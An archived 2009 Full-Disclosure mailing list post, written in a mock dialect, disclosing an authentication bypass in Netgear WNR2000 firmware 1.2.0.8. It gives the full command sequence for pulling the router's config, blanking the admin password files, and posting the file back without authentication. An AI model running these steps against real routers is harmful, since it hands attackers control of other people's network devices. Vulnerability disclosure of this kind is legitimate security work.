full-disclosure - Authentication bypass on Netgear WNR2000

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <bf89947d0908201205l480b4592meb0bb549e25fc759@mail.gmail.com>
Date: Thu, 20 Aug 2009 13:05:19 -0600
From: Jean Trolleur <sigtstp@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Authentication bypass on Netgear WNR2000

Dere be an audenticashun bypass vulnerability on de Netgear WNR2000
routa' runnin' firmware 1.2.0.8 dat kin allow fo' an attacka' to
change da damn admin passwo'd fo' de web interface widout
audenticashun. Dis be due t'a lack uh audenticashun in
/cgi-bin/upg_restore.cgi. Dig dis:

# wget http://netgear/cgi-bin/NETGEAR_WNR2000.cfg
# dd if=NETGEAR_WNR2000.cfg of=omfg.tar bs=1 skip=128
# dd if=NETGEAR_WNR2000.cfg of=header bs=1 count=128
# tar xf omfg.tar
# cd configs
# rm http_passwd
# touch http_passwd
# echo -n 0 > router_passwd_length
# cd ..
# tar cf wtf.tar configs/*
# cat header wtf.tar > NETGEAR_WNR2000.cfg

Followin' dis, de modified NETGEAR_WNR2000.cfg stash kin be sent in da
unaudenticated POST request to:

http://netgear/cgi-bin/upg_restore.cgi?/cgi-bin/restore_process.html

At dis point, dere gots'ta no longa' be some passwo'd fo' de admin account. Man!

Some sucka at Netgear should real publish some security contact and
GPG key on deir website t'encourage responsible disclosho' man.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/